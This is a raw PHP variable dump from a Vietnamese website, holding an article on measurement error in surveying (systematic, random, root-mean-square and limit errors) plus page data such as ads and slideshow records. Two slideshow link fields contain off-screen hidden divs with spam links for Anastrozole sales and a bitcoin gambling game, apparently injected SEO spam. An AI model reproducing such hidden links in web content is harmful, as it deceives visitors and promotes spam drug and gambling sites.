rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' 